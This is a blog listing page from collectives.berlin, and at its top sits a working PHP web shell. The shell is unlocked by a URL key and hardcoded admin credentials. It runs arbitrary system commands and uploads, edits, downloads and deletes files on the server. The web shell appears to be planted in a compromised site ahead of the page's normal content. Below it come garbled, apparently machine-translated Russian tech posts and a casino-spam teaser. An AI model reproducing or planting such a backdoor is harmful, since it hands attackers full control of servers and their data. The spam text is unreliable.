if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Blog – Page 2 – collectives.berlin

Your digital paradise.

Category: Blog

  • Как искусственный интеллект изменяет сферу труда

    Как искусственный интеллект изменяет сферу труда Новая эра: искусственный ум и работа В последние времена искусственный разум (ИИ) перестал быть предметом только сай-фая и стал реальной частью ежедневного быта. Ее интеграция охватывает все сферы: начиная с здравоохранения до просвещения, начиная с производства до сферы услуг. Одним среди наиболее очевидных перемен, связанных с развитием эволюцией ИИ,…

    Click or not…

  • Что значение интернет устройств и где он применяется

    Что значение интернет устройств и где он применяется Осознание идеи сети устройств Термин «сеть» вещей (Internet of Things, IoT) уверенно попал в наш употребление за последние десять лет, хотя первые его упоминания возникли еще в конце 1990-х. По сути, интернет вещей – это сеть физических устройств, которые оснащены датчиками, программным обеспечением и другими технологиями для…

    Click or not…

  • Отчего программирование превращается в массовым навыком

    Отчего программирование превращается в массовым навыком Программирование как современный средство общения нашего времени В недавние годы кодирование из ниши, достижимой лишь малому кругу профессионалов, понемногу превращается в один из базовых способностей, необходимых практически каждому индивидууму. Этот процедуру можно соотнести с тем, как понимание английского языка является обязательным для множества профессий и жизненных сфер. На сегодняшний…

    Click or not…

  • Какое значение имеет интернет след и зачем он значим

    Какое значение имеет интернет след и зачем он значим Концепция виртуального трейса В недавние годы термин “цифровой след” начал встречаться всё чаще, особенно среди молодёжи, активно использующих интернет и мобильные устройства. Но что же это такое на самом деле? Если толковать доступно, виртуальный след — это набор всех информации, которые мы оставляем в интернете в…

    Click or not…

  • Технологии грядущего, какие на данный момент имеются сегодня

    Технологии грядущего, какие на данный момент имеются сегодня Почему грядущее приближается быстрее, чем мы с вами думаем Похоже, что будущие технологии — это что-то недосягаемое, присутствующее только в фильмах и фантазиях писателей. Впрочем в случае если тщательно присмотреться к окружающему нас миру, становится ясно: многие инновации, которые еще недавно казались невозможными, уже прочно стали частью…

    Click or not…

  • Как действует расширенная реальность в ежедневной жизни

    Как действует расширенная реальность в ежедневной жизни Вхождение в мир расширенной реальности. В последние времена инновации стремительно меняют наш перспективу на внешний окружение. Одной среди самых захватывающих нововведений оказалась расширенная реальность (AR). Если уже 10 годков назад о ней говорили как о чем-либо невероятном, сегодня AR превратилась в частью повседневности — она имеется в мобильных…

    Click or not…

  • Casino on-line progression: how electronic casinos remain to evolve

    Casino on-line progression: how electronic casinos remain to evolve The virtual gambling industry has encountered significant shift since its launch in the mid-1990s. Initial systems offered basic card games and simple slot machines with limited graphics. Today, providers offer thousands of titles with sophisticated animations and intricate bonus features that rival console video games in…

    Click or not…

  • Artigos sobre Eventos do Panorama Nacional

    Artigos sobre Eventos do Panorama Nacional A agenda cultural em Portugal revela-se riquíssimo. De provas desportivas a feriados e romarias, há sempre algo para cada interesse. Neste artigo apresentamos os grandes temas que marcam o calendário. Conhecer os acontecimentos passou a ser cada vez mais importante para aproveitar o melhor do país. Nas secções seguintes…

    Click or not…